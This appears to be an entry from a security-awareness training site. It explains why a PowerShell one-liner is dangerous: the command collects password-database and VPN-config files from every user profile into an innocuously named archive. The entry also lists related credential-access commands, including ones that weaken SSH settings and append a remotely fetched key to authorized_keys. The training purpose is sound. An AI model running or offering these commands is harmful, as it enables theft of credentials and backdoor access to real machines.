Dangerous
Get-ChildItem C:\Users -Recurse -Include *.kdbx,*.ovpn -ErrorAction SilentlyContinue | Compress-Archive -DestinationPath $env:TEMP\cache.zipwindows · powershell · Nightmare
Sweeps every user profile for password databases and VPN configuration files and packs them into one archive. Both cmdlets are ordinary file management; it is the file types being hunted, and the innocuous archive name, that reveal the purpose.
Signals to notice
- Targets password database and VPN credential files
- Collects across all user profiles
- Bundles results under a benign filename
Think you can spot these under time pressure?
Start TrainingMore Credential Access
mv /etc/passwd /tmp/passwd.bakIntermediatechmod 600 ~/.ssh/id_ed25519Intermediatechmod 777 ~/.ssh/authorized_keysAdvancedmv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediatesed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvancedcurl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpert